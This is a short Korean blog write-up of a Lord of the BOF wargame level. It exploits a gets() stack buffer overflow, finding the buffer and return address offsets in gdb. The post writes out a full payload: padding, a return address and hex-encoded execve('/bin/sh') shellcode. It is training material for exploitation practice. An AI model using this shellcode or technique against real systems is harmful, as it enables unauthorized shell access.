gets 에서 취약점이 터지는 것 같다. gdb로 까서 보자.

 

스택이 16byte만큼 확보가 되고, ebp-16 위치에 gets 함수로 입력을 받는다.

 

ebp-16 주소와 ret 주소를 알아내 보자.

 

빨간색 칸은 buffer 주소가 되고, 노란색 칸은 ret 주소이다.

 

페이로드를 짜보자.

 

"A"*20 + ebp+8 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

 

이렇게 보내면 될 것 같다.

 

와우~~

'LOB > WriteUp' 카테고리의 다른 글

LOB - level6 [wolfman -> darkelf]  (0) 2021.05.20
LOB - level5 [orc -> wolfman]  (0) 2021.05.20
LOB - level4 [goblin -> orc]  (0) 2021.05.20
LOB - level2 [gremlin -> cobolt]  (0) 2021.05.14
LOB - level1 [gate -> gremlin]  (0) 2021.05.14

+ Recent posts